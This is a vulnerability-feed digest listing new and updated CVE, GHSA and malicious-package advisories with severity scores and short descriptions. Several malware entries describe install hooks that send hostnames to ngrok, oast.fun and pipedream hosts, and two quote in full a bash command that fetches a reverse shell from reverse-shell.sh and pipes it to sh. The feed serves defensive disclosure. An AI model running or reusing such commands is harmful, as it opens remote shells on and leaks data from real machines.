CVE-2026-87069	New	3.1	LOW		0.002		The Forminator Forms WordPress plugin before 1.57.2.1 does not perform a nonce, capability or ownership check before running a one-time payment-field migration during the construction of one of its admin screens, and that construction happens on every wp-admin request for any logged-in user. Any authenticated user, including a Subscriber with no permissions in the Forminato...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92628	New	3.1	LOW				GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.6 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under a race condition, the MCP search tool's shared state handling could have caused search results to be returned under an incorrect user context.
CVE-2026-96552	New	3.1	LOW				A vulnerability was identified in sfturing hosp_order up to 627f426331da8086ce8ff2017d65b1ddef384f8. The affected element is the function MD5.getMD5 of the file ssm_pro/src/main/java/cn/sfturing/utlis/MD5.java of the component User Password Handler. The manipulation leads to one-way hash without salt. The attack may be initiated remotely. A high degree of complexity is need...
CVE-2026-96872	New	2.9	LOW				Improper handling of insufficient permissions or privileges vulnerability in The Wikimedia Foundation Mediawiki - WikiLambda Extension on Linux, MacOS, and Windows allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Mediawiki - WikiLambda Extension: before 1.47.0.
CVE-2026-4921	New	2.7	LOW				IBM Guardium Data Protection 12.2 could allow an administrative user to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system.
CVE-2026-71463	New	2.7	LOW				Notification template Jinja AST whitelist only inspects static Getattr nodes. Dynamic subscripts (job['job'+'_env']) and {% if job.id > 100 %} conditional gating bypass both the AST check and the test-render (stub has small job.id). At runtime, the gated branch executes and exceptions write full tracebacks...
CVE-2026-84742	New	2.7	LOW		0.002		The Events Calendar WordPress plugin before 6.17.5 does not check the capability required to publish content before creating or updating it through its REST API, allowing users with a role that cannot normally publish, such as contributor, to publish content directly and bypass editorial review.
CVE-2026-91077	New	2.7	LOW		0.002		The Event Booking Manager for WooCommerce WordPress plugin before 5.7.3 does not restrict its event listing query to events the requesting user is permitted to read, so users with contributor-level access and above can retrieve other authors' private, draft and trashed events, together with event detail the standard listing does not show them. This discloses private events ...
CVE-2026-96546	New	2.5	LOW				A one-byte out-of-bounds heap read flaw was found in GIMP's uncompressed DDS image loader. When a user opens an uncompressed DDS image, the file-dds plug-in performs an unconditional one-byte look-ahead after processing the final pixel. This may cause the plug-in to crash if the byte immediately following the pixel buffer is inaccessible; no information disclosure or code ex...
CVE-2026-77285	New	2.4	LOW				OpenBao is an open source identity-based secrets management system. Prior to 2.6.0, OpenBao Agent's exec rendering mode could write secrets from env_template to standard output when command/agent/exec/exec.go re-created the template runner after repeated rendering failures, primarily after num_retries was reached. A process supervisor, log collector, or local user able to re...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-66069	New	2.3	LOW				RabbitMQ is a messaging and streaming broker. Prior to versions 4.1.13, 4.2.7, and 4.3.0, is_authorized/2 uses is_authorized_monitor for all methods. DELETE resets rabbit_core_metrics:reset_auth_attempt_metrics(). Impact is cosmetic (counters only, no log erasure), but inconsistent with rabbit_mgmt_wm_reset.erl which requires admin for the analogous operation. A monitoring-t...
CVE-2026-66075	New	2.3	LOW				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.1, is_authorized/2 for the /federation-links/.../restart route uses is_authorized_monitor (accepts the monitoring tag), while allowed_methods permits DELETE and delete_resource/2 triggers rabbit_federation_link_sup:restart. There is no per-method elevation check and no com...
CVE-2026-66076	New	2.3	LOW				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, is_authorized/2 calls rabbit_mgmt_util:is_authorized/2, which checks only the management tag, instead of is_authorized_vhost/2. The /api/queues/quorum/:vhost:/queue/status handler reads the vhost from the path without checking that the user can access it. Any management...
CVE-2026-67240	New	2.3	LOW				RabbitMQ is a messaging and streaming broker. Prior to versions 4.2.7 and 4.3.1, pattern_to_regex maps % -> .*? and _ -> ., then compiles ^...\$ with only [unicode]; re:run is called with only [{capture, none}] - no explicit match_limit. A pattern like %_..._%X becomes ^.*?..*?.....*?.X\$ with overlapping lazy quantifiers. The whole-expression cap is ?MAX_EXPRESSION_LENGTH=4...
CVE-2026-78253	New	2.3	LOW				Uncontrolled recursion in QDomStreamReader::readElementText() in Qt Group Qt allows attackers to cause a denial of service (application crash via stack exhaustion) via a crafted XML document.
CVE-2026-67218	New	2.1	LOW				RabbitMQ is a messaging and streaming broker. Prior to versions 4.0.22, 4.1.11, 4.2.6, and 4.3.0, accept_content/2 at line 56 calls rabbit_stream_manager:create_super_stream/... directly after is_authorized (which only checks the management tag + vhost access via is_authorized_vhost). The stream-protocol equivalent (rabbit_stream_reader.erl create_super_stream handler) calls...
CVE-2026-67224	New	2.1	LOW				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.1, The trace consumer constructs the output path as filename:join(TraceDir, Name ++ ".log") where Name comes from PUT /api/traces/:vhost/:name. No safe_relative_path / traversal check is applied on the write side, while the read side (rabbit_tracing_files.erl) does call ra...
CVE-2026-96549	New	1.9	LOW				A vulnerability has been found in sfturing hosp_order up to 627f426331da8086ce8fff2017d65b1ddef384f8. This vulnerability affects unknown code of the file ssm_pro/src/main/java/cn/sfturing/service/impl/CommonUserServiceImpl.java. Such manipulation leads to cleartext storage of sensitive information. The attack can only be performed from a local environment. The exploit has be...
CVE-2026-79616	New	0.6	LOW		0.002		Out-of-bounds read while parsing untrusted SVG path strings in Qt Quick's Context2D.path / PathSvg.path.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-18944	New						Rejected reason: ** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2026-18944. Reason: This candidate is a reservation duplicate of CVE-2026-18944. Notes: All CVE users should reference CVE-2026-18944 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage.
CVE-2026-53968	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-53969	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-53978	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-53979	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-55456	New						Rejected reason: This CVE is a duplicate of another CVE.
CVE-2026-56669	New		HIGH		0.006	npm:elysia	Elysia v1.4.28 is vulnerable to denial-of-service attacks due to CPU exhaustion in the form data normalization code. Elysia uses `getAll` to retrieve value from FormData. It is called directly relative to the total number of key-value pairs in the form data. The total amount of work the for loop has to do grows quadratically, so doubling the number of unique key-value pairs...
CVE-2026-56675	New		HIGH		0.005	npm:9router	## Summary 9router treats local loopback requests as trusted and allows access to `/v1/*` without an API key. In a documented/common reverse-proxy deployment where nginx forwards public traffic to the backend via `127.0.0.1`, external non-`Origin` requests are misclassified as local. This allows unauthenticated access to `/v1` APIs such as `/v1/models`, and may allow abuse ...
CVE-2026-56676	New		HIGH		0.003	npm:9router	## Summary 9router validates image URLs by resolving the host before fetching, but the later server-side fetch performs a separate DNS resolution. An attacker-controlled DNS name can resolve to a public IP during validation and then rebind to an internal Docker/private IP during the fetch. This allows the server-side image prefetch to reach internal-only HTTP services (SSRF...
CVE-2026-56678	New		MODE		0.003	npm:9router	### Summary The Kiro API-key validation endpoint builds an upstream URL using a user-controlled `region` value. By supplying a crafted region such as `kiro-canary.local:8443#`, an authenticated attacker can cause 9router to send the Kiro validation request to an attacker-controlled host under the constructed `codewhisperer.<region>` hostname. The request forwards the submit...
CVE-2026-56679	New		HIGH		0.005	npm:9router	### Summary The `PATCH /api/settings` endpoint writes the entire request body to persistent settings without a field whitelist. An authenticated user can set security-critical fields that are not meant to be modifiable here — notably `requireLogin`. Setting `requireLogin: false` disables authentication for the whole application, exposing all protected routes (e.g. `/api/keys...
CVE-2026-57168	New						Rejected reason: ** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2026-56120. Reason: This candidate is a duplicate of CVE-2026-56120. Notes: All CVE users should reference CVE-2026-56120 instead of this candidate.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-57854	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-61541	New		MODE		0.003	PyPI:zapros	### Impact **Who is impacted** : - Any application using Zapros to make HTTP requests to untrusted servers - Applications that follow redirects to attacker-controlled hosts **Attack vector** : - A malicious HTTP server returns a response with many chained content encodings. When the client attempts to decode, it creates a deeply nested decompression chain consuming exc...
CVE-2026-61652	New		HIGH		0.003	PyPI:zapros	### Impact Denial of service via memory exhaustion. Affects all callers who streamed compressed responses relying on the chunk size — explicit (<code>iter_bytes(chunk_size=...)</code>) or the default — to bound memory. The decoder ignored that bound, so a chunk could be far larger than requested and a single compressed response could overflow memory. <code>python import gzip, zapros # ...</code>
CVE-2026-82356	New						Imprivata EAM <=26.2.6 lacks the ability to rotate its RSA key pair after deployment when generating an X.509 certificate. Using an RSA key pair indefinitely for certificate generation is against best practices.
CVE-2026-86867	New						Cinnamon's Kotaemon (all versions up to and including v0.12.0) multi-user chat interface contains multiple vulnerabilities due to incorrect authorization and improper access controls. There are four handler methods in <code>libs/ktem/ktem/pages/chat/control.py</code> that load a Conversation record by its ID without comparing the requester's <code>user_id</code> to the conversation's owner <code>Conve...</code>
CVE-2026-86926	New						A heap buffer overflow vulnerability in the FileMaker Server database engine block parsing routine allowed a maliciously crafted .fmp12 database file to cause memory corruption, potentially leading to arbitrary code execution. This vulnerability is addressed in FileMaker Server version 26.0.3.
CVE-2026-86930	New						An out-of-bounds read vulnerability in FileMaker Server for Linux allowed an attacker uploading a specially crafted image file to a container field to disclose process memory during thumbnail generation in FileMaker WebDirect. This vulnerability is addressed in FileMaker Server version 26.0.3.
CVE-2026-86934	New						An authorization bypass vulnerability in the FileMaker Server Web Publishing Engine allowed requests containing an extended privilege header to bypass the disabled Custom Web Publishing with XML setting and access the XML Web Publishing interface. This vulnerability is addressed in FileMaker Server version 26.0.3.
CVE-2026-86938	New						A DLL hijacking vulnerability in the FileMaker Pro installer for Windows allowed a local user to execute arbitrary code with elevated administrator privileges by placing a malicious DLL file in the installer directory. This vulnerability is addressed in FileMaker Pro version 26.0.3.
CVE-2026-96559	New						Rejected reason: This ID was for testing
GHSA-27jh-hjhg-v g2p	New					npm:@baanx/common	--- _-= Per source details. Do not edit below this line._= _ ## Source: ghsa-malware (d272d47a4b0d81c2aca10da98d90d30033d41d50bd3aeb3b925fb99cbe40b3f3) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
GHSA-8pcw-h6w9-h46g	New		MODE			PyPI:plone-app-contenttypes	### Impact When creating an Image or File with a very large filename, Plone can become unresponsive. Even if the content loads, it can be hard to edit or delete, because the UI is unwieldy. ### Patches The problem has been patched in `plone.app.contenttypes`. * On Plone 6.2, upgrade to `plone.app.contenttypes` 5.0.1. * On Plone 6.1, upgrade to `plone.app.contenttypes` 4...
GHSA-qhfc-6rp6-pvv6	New					npm:@baanx/domain	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (a18b786cad636e5b1ac77f23ac054b08d161ad5981c0ed731e14b116167d4859) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
MAL-2026-16473	New					npm:sea-baileys	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2aaf4b5ddb859270a86aa6d21df680ed66fb0622434317747a6f7275ad9a3d60) sea-baileys is a fork of the Baileys WhatsApp Web library. Its package.json remaps the `libsignal` import specifier to `npm:@otaxayun/libsignal-node@latest` — an unrelated maintainer's package pinned to the mutable `late...
MAL-2026-16474	New					npm:vite-dev-launcher	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9ac504b2228b7e2d5aab05aac8cb13072d87bc4f047f390d207c7712c7cdd123) The package presents as a Vite dev-server wrapper but its declared postinstall (`node./postinstall-run.cjs`) chains through `lib/gradle/lifecycle/postinstall-entry.cjs` and `instrumentation-registry.cjs` to base64+AES-25...
MAL-2026-16477	New					npm:com.apple.unityplugin.storekit	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (920277566757bdc38563c7e2150e906790478cbd7a0c48f0bb53004e82eec4ca) The package impersonates an Apple/Unity StoreKit internal namespace (com.apple.unityplugin.storekit) and, on require(), index.js performs an HTTPS GET to a hardcoded Project Discovery Interactsh (oast.fun) subdomain, tra...
MAL-2026-16478	New					npm:event-hunter	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f94b74862f327effaa43c1d01c4fd769626f73214d0706b80fef8b8a395cc3e8) On `npm install`, the declared postinstall hook runs `node index.js`, which reads `os.hostname()` and a timestamp, base64-encodes the JSON payload, and issues an HTTPS GET to `https://estimator-nemeses-unwatched.ngrok-fr...
MAL-2026-16479	New					npm:simplenewnpmpackage	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (76315a0ce965c3a1f5b6342caa9d9ce8db4b341b641b2dbb696ebd52bd6149ec) On require/import, index.js issues an HTTPS GET to a hardcoded interactsh OAST subdomain (daphnid534ch06s9vpm0mbg1httu5gytc.oast.fun) with the installer's os.platform() and os.hostname() as query parameters. The package ...
MAL-2026-16480	New					npm:a-onesite	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1b1ed6ca931448c083b5356eae6ad5af3cce9011d70fce4ce4ad427349991856) a-onesite@99.9.9 ships an empty index.js and no library functionality. Its package.json declares preinstall, preupdate, and test scripts that all invoke wget against http://eoy34oyrep9j5x8.m.pipedream.net with the instal...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16481	New					npm:internallib_v463	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7) index.js exports a function `command` that runs `/bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443 sh"`, fetching a reverse-shell script from reverse-shell.sh and piping it to sh. When the exported function is ...
MAL-2026-16482	New					npm:internallib_v657	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d61ffc921e9432c8176cc16265daf6add48cf90a4f99ec6bbe173e5109673b1) index.js exports a `command()` function that invokes `/bin/bash -c` to curl a reverse-shell payload from reverse-shell.sh targeted at the hardcoded IP 10.0.73.186:443 and pipes it to sh. Any consumer that requires this p...
MAL-2026-16483	New					npm:@rixxcodex/baileys	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (58b5247e2f10d09b51e8d59c4b36cb2cbe62909af4be588fdb07dabf0afabcf2) This package is a fork of the Baileys WhatsApp library that adds three undocumented channels which use the installer's authenticated WhatsApp session to perform account actions chosen by the author at runtime. In lib/Soc...
MAL-2026-16484	New					npm:pino-testkit	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f2711bf14b5de8acc2d8a401de585d09de28c4dc674331f6578acbc9ea36c6e7) pino-testkit@10.4.5 impersonates the widely-used `pino` logger: package.json declares the name `pino-testkit` with pino's description, lists Matteo Collina as author and the real pino maintainers as contributors, and the...
PYSEC-2026-3987	New					PyPI:memoryos	An attacker with write access to the GitHub repository pushed malicious commits and tagged v2.0.34, and the project's own GitHub Actions release workflow built and uploaded 2.0.34 to PyPI. Importing the package runs memos/_stage0.py, which launches a bundled sckit binary that collects credentials (.pypirc, .npmrc, .git-credentials, SSH keys, token-like environment variables)...

Significant updates today - original Published Date retained

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-85102	Updated - CVSS added	9.8	CRIT	Yes	0.007	checkpoint:gaia_embedded, checkpoint:gaia_os, checkpoint:quantum_3600, checkpoint:quantum_3800, checkpoint:quantum_force	Improper certificate trust validation during VPN negotiation in Check Point Quantum Security Gateway may allow an unauthenticated remote attacker to execute arbitrary code on the Gateway.
CVE-2026-83660	Updated - CVSS changed (9.9 → 10.0)	10.0	CRIT		0.007	adobe:campaign, linux:linux_kernel, microsoft:windows	Adobe Campaign Classic (ACC) is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-82443	Updated - CVSS changed (9.6 → 9.9)	9.9	CRIT		0.007	adobe:campaign, linux:linux_kernel, microsoft:windows	Adobe Campaign Classic (ACC) is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89276	Updated - CVSS vector changed	9.9	CRIT		0.01	adobe:campaign, linux:linux_kernel, microsoft:windows	Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-37604	Updated - CVSS added	9.8	CRIT		0.003		pH7Software pH7Builder (pH7 Social Dating CMS) through 18.2.0 resolves the client IP address in _protected/framework/lp/lp.class.php from the HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR headers without verifying the request comes from a trusted proxy. Because the admin login attempt counter and lockout are keyed on this value, a remote unauthenticated attacker bypasses IP-based ...
CVE-2026-80145	Updated - CVSS changed (9.1 → 9.4)	9.4	CRIT		0.025		Lantronix SLC8000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers with the services permission to execute arbitrary shell commands as root by exploiting the set cifs password command that passes unsanitized user input to a syst...
CVE-2026-80156	Updated - CVSS changed (9.1 → 9.4)	9.4	CRIT		0.01		Lantronix SLC8000 before firmware v9.7.0.5, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a path traversal vulnerability in the web management portal upload endpoint that allows authenticated attackers to write arbitrary data to any location on the device's filesystem, leading to remote code execution. The upload filena...
CVE-2026-43641	Updated - CVSS changed (9.8 → 9.3)	9.3	CRIT		0.03		Softaculous Virtualizor before 3.2.9 (Patch 9) and 3.0.0 contains an OS command injection vulnerability in the billing module handler that allows unauthenticated remote attackers to execute arbitrary commands as root by bypassing authentication through specific parameter combinations. Attackers can deserialize a crafted billing_data POST field and inject shell payloads throu...
CVE-2026-96257	Updated - CVSS changed (10.0 → 9.3)	9.3	CRIT		0.01		A flaw has been found in Fast FAC1203R Gigabit Edition 2.0.4. Affected by this issue is the function copy_msg_element of the component Device Discovery Service. Executing a manipulation can lead to stack-based buffer overflow. The attack can be executed remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not ...
CVE-2026-47116	Updated - CVSS changed (9.8 → 9.2)	9.2	CRIT		0.005		LTSecurity LTK3500SF contains a hard-coded credentials vulnerability where the root and guest account passwords are stored in /etc/shadow as weak hashes recoverable with dictionary-based cracking tools. The recovered credentials authenticate against the device's Telnet and SSH services and grant root-level access to the operating system. These services are not confirmed to s...
CVE-2026-88624	Updated - CVSS added	9.1	CRIT		0.002		Missing path validation in the Worktree.remove component of openCode v1.18.26 allows attackers to execute arbitrary recursive directory deletion via a crafted payload.
CVE-2026-89282	Updated - CVSS added	9.1	CRIT		0.002		The Apache Lounge Windows distribution of Apache HTTP Server build contains an insecure installation directory permissions vulnerability through its default install directory on C:\, which inherits write access for Authenticated Users.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-67615	Updated - CVSS changed (8.8 → 8.7)	8.7	HIGH		0.008		openEQUELLA before 2026.1.0 contains an authenticated remote code execution vulnerability that allows any authenticated non-guest user to execute arbitrary code by exploiting Java deserialization in the HTTP invoker endpoint at /invoker/*. Attackers can bypass the class-name denylist enforced by PluginAwareObjectInputStream by nesting a serialized payload inside a java.secur...
CVE-2026-88415	Updated - CVSS added	8.7	HIGH		0.002		MCMS 6.1.1 through 6.2.1 is vulnerable to stored Cross-Site Scripting (XSS). The article content field `contentDetails` is excluded from the global XSS filter.
CVE-2026-95814	Updated - CVSS changed (8.1 → 8.6)	8.6	HIGH		0.004		Vaultwarden through 1.37.3 omits organization membership status validation from three cipher access-restriction queries, allowing revoked and not-yet-confirmed members to retain read, write, delete, and attachment access to organization ciphers. Attackers with revoked or pending membership can exploit missing status filters in get_user_collections_access_flags, get_group_col...
CVE-2026-89281	Updated - CVSS added	8.4	HIGH		0.002		The Apache Lounge Windows distribution of Apache HTTP Server build contains a hardcoded configuration path vulnerability within openssl.cnf path that can allow local code execution.
CVE-2026-94184	Updated - CVSS added	8.1	HIGH		0.004		A stack-based buffer overflow flaw was found in fetchmail when built with NTLM support. A malicious or compromised mail server advertising NTLM authentication can send a crafted Type 2 challenge that causes fetchmail to write past a fixed stack buffer while building the NTLM authenticate response. This may lead to remote code execution depending on stack-frame layout, or to ...
CVE-2026-94574	Updated - CVSS added	7.8	HIGH		0.002		A local cross-user code execution vulnerability exists in GNU wget (Windows builds from eternallybored.org) due to a hardcoded configuration file path (C:\msys64) that is writable by unprivileged users, allowing for arbitrary code execution via the use_askpass directive, potentially allowing local privilege escalation.
CVE-2026-80150	Updated - CVSS changed (7.5 → 7.7)	7.7	HIGH		0.005		Lantronix SLC8000 before firmware v9.7.0.3, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882 contain a server-side request forgery vulnerability in the WebSSH/WebTelnet listener that allows unauthenticated attackers to cause the affected device to establish Telnet connections to attacker-controlled endpoints. The custom shellinaboxd uses the root...
CVE-2026-88344	Updated - CVSS added	7.5	HIGH		0.002		An out-of-bounds read vulnerability exists in the schema lexer of flatcc 4c3b999e. When an exact-length FlatBuffers schema buffer ends with a digit, the integer digit-scan loop in lex() advances past the end of the input buffer and dereferences the out-of-bounds pointer. A specially crafted schema can trigger a one-byte heap buffer over-read, resulting in application crash a...
CVE-2026-88345	Updated - CVSS added	7.5	HIGH		0.002		An out-of-bounds read vulnerability exists in the schema lexer of flatcc 4c3b999e. When an exact-length FlatBuffers schema ends with an unterminated quotation mark, the C-string scanning logic in lex() dereferences the input pointer after it has reached the end of the buffer. A specially crafted schema can trigger a one-byte heap buffer over-read, resulting in application cr...
CVE-2026-95815	Updated - CVSS changed (6.3 → 7.2)	7.2	HIGH		0.002		OpenClaw iOS before 2026.8.11 logs complete agent deep-link URLs including persistent bearer keys to unified logs as public diagnostic data. Attackers who obtain diagnostic archives can recover unrotated keys and replay them in forged deep links to submit agent requests without local confirmation prompts.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-96271	Updated - CVSS vector changed	7.1	HIGH		0.004		Photoview through 2.4.0 contains an authorization bypass vulnerability in the shareAlbum GraphQL mutation that allows authenticated users to create share links for albums owned by other users. Attackers can supply arbitrary album IDs to generate working share tokens for victim albums, exposing photos and sub-albums to anyone with the link while retaining indefinite control o...
CVE-2026-77582	Updated - CVSS vector changed	6.9	MEDI		0.004		Tinyauth is an authentication and authorization server. Prior to 5.1.0, Tinyauth exposes a remotely observable timing difference between authentication attempts for existing and nonexistent local usernames. internal/controller/user_controller.go loginHandler and internal/middleware/context_middleware.go basicAuth return quickly after internal/service/auth_service.go reports ...
CVE-2026-96273	Updated - CVSS changed (5.5 → 6.8)	6.8	MEDI		0.002		Ghidra before 12.1.4 fails to validate the TYPE_COL byte in OptionsDB.createUnregisteredOption(), causing an ArrayIndexOutOfBoundsException that leaves domain objects permanently locked. Attackers can craft a malicious program database file that, when imported, causes the application to stall and prevents resource cleanup or graceful shutdown.
CVE-2026-37603	Updated - CVSS added	6.5	MEDI		0.004		Improper Restriction of Excessive Authentication Attempts in the administration login of pH7Software pH7Builder (pH7 Social Dating CMS) through 19.2.0. The CAPTCHA escalation flag is stored in the PHP session as captcha_admin_enabled and the CAPTCHA form element is only built when that flag is present, so a remote unauthenticated attacker who obtains a new session before eac...
CVE-2026-62282	Updated - CVSS added	6.5	MEDI		0.003		OpenCVE is a vulnerability intelligence platform. Prior to 3.0.0, OpenCVE notification testing for Webhook and Slack integrations does not sufficiently validate user-supplied HTTP or HTTPS destinations. An authenticated user with permission to configure notification channels can trigger requests to hosts reachable from the OpenCVE server, including internal network resources...
CVE-2026-63342	Updated - CVSS added	6.3	MEDI		0.002		Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.91.1, api-contracts/openapi/paths/v1/workflow-runs/workflow_run.yaml defines the GET /api/v1/stable/durable-tasks/{durable-task} endpoint implemented by listDurableEventLog without requiring the target tenant as a parent resource, allowing an authenticated user who...
CVE-2026-88339	Updated - CVSS added	5.5	MEDI		0.002		A NULL pointer dereference vulnerability exists in the gf_sg_vrml_field_clone() function of GPAC 2d7da22e (26.08-DEV). The vulnerability occurs when cloning a PROTO default SFImage field with a NULL source pointer. An attacker can provide a specially crafted input file that triggers the condition, resulting in application crash and denial of service.
CVE-2026-88341	Updated - CVSS added	5.5	MEDI		0.002		A reachable assertion vulnerability exists in YARA 4.5.8 when loading crafted .yrc compiled rule files. An attacker can provide a malicious file with an invalid arena configuration (num_buffers=0) that triggers an assertion failure in yr_arena_get_ptr(), causing the application to terminate.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95819	Updated - CVSS changed (7.3 → 5.5)	5.5	MEDI		0.004		A vulnerability has been found in anirbandutta9 College-Notes-Gallery up to 8c1cf3d98f30982d069c88ca172612c001eb39f6. Affected by this vulnerability is an unknown functionality of the file login.php. Such manipulation of the argument user/pass leads to sql injection. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. This p...
CVE-2026-95925	Updated - CVSS changed (7.3 → 5.5)	5.5	MEDI		0.004		A vulnerability was found in SourceCodester Online Reviewer Management System 1.0. The affected element is an unknown function of the file /reviewer_0/admins/assessments/databank/btn_functions.php?action=update. The manipulation of the argument difficulty_id results in sql injection. The attack can be executed remotely. The exploit has been made public and could be used.
CVE-2026-95926	Updated - CVSS changed (7.3 → 5.5)	5.5	MEDI		0.004		A vulnerability was determined in SourceCodester Online Reviewer Management System 1.0. The impacted element is an unknown function of the file /reviewer_0/admins/assessments/pretest/btn_functions.php?action=update. This manipulation of the argument test_id causes sql injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and ma...
CVE-2026-95927	Updated - CVSS changed (7.3 → 5.5)	5.5	MEDI		0.004		A vulnerability was identified in SourceCodester Online Reviewer Management System 1.0. This affects an unknown function of the file /reviewer_0/admins/assessments/pretest/exam-delete.php. Such manipulation of the argument test_id leads to sql injection. The attack may be performed from remote. The exploit is publicly available and might be used.
CVE-2026-58272	Updated - CVSS added	5.3	MEDI		0.003		Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Versions prior to 2.4.1 contain an observable timing discrepancy in the login endpoint because authentication attempts for nonexistent accounts return without performing the bcrypt comparison used for existing accounts. An unauthenticated attacker can measure response times to en...
CVE-2026-93342	Updated - CVSS changed (5.4 → 5.3)	5.3	MEDI		0.003		MarketKing plugin for WordPress before 2.1.72 contains a missing authorization vulnerability in the marketing_duplicate_product AJAX action that allows authenticated attackers with subscriber-level access or higher to duplicate any vendor's product by supplying an arbitrary product ID. Attackers can bypass ownership verification to copy any vendor's product listings, includ...
CVE-2026-95812	Updated - CVSS changed (6.1 → 5.3)	5.3	MEDI		0.004		ClipBucket v5 before 5.5.3-#182 contains a reflected cross-site scripting vulnerability in the sort_link() helper function that fails to sanitize cat, sort, and time query parameters. Attackers can craft malicious requests with injected script payloads in these parameters to execute arbitrary JavaScript in victims' browsers under the application origin.
CVE-2026-95930	Updated - CVSS changed (6.3 → 5.3)	5.3	MEDI		0.004		A security vulnerability has been detected in iFlytek astron-agent up to 1.0.6. Affected by this vulnerability is the function UrlCheckTool.checkUrl of the component debugToolV2 API endpoint. The manipulation of the argument endPoint leads to server-side request forgery. The attack can be initiated remotely. Upgrading to version reward-1575 addresses this issue. The identifi...
CVE-2026-95958	Updated - CVSS changed (3.3 → 4.8)	4.8	MEDI		0.002		A security flaw has been discovered in JusticeRage Manalyze 1.0.0. Impacted is the function PE::parse_relocations of the file manape/pe.cpp of the component PE Parser. Performing a manipulation of the argument BlockSize results in integer underflow. The attack requires a local approach. The patch is named c372b6bbca9d8c63812be50596fefa4a79c65fd0. It is recommended to apply ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-88978	Updated - CVSS added	4.3	MEDI		0.002		Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.106.1, the WorkerStatus gRPC polling path in pkg/repository/durable_events.go passes caller-supplied durable task, node, and branch identifiers to ListSatisfiedEntries without a tenant filter, allowing an authenticated tenant worker that knows another tenant's dura...
CVE-2026-61681	Updated - CVSS added	4.1	MEDI		0.002		Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.91.1, the SNS UnsubscribeConfirmation handler in internal/integrations/ingestors/sns/sns.go calls http.Get() on payload.UnsubscribeURL after VerifyPayload() even though BuildSignature() excludes UnsubscribeURL, allowing an authenticated Hatchet tenant to replace th...
